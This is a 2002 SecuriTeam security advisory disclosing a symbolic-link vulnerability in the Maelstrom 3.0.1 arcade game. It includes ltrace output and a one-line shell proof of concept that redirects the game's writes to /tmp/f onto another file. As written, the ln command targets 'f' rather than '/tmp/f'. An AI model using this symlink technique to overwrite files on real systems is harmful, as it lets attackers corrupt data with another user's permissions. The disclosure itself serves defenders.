[UNIX] Maelstrom Symbolic Link Vulnerability

From: support@securiteam.com
Date: 01/24/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Thu, 24 Jan 2002 13:41:17 +0100 (CET)

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  Maelstrom Symbolic Link Vulnerability
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SUMMARY

Maelstrom is an arcade game. A symbolic link weakness in this product
allows attackers to overwrite arbitrary system files.

DETAILS

Vulnerable systems:
Maelstrom version 3.0.1

Ltracing Maelstrom showed the following:

fopen("/tmp/f", "w") = 0x08081f58
fprintf(0x08081f58, "Main program = %s\n", "Maelstrom") = 25
fclose(0x08081f58) = 0

This means that it follows symbolic links, and by doing:

$ rm -f /tmp/f; (umask 077; echo bla > /tmp/bla; ln -s /tmp/bla f)

At which point when you run it again and do a 'cat /tmp/bla', you should
get:

Main program = Maelstrom

Conclusion:
You can overwrite arbitrary files with the permissions of the user who ran
it.

Of course, this will not work on systems that have linking restrictions in
/tmp.

ADDITIONAL INFORMATION

The information has been provided by <mailto:andrewg@tasmail.com> Andrew
Griffiths.

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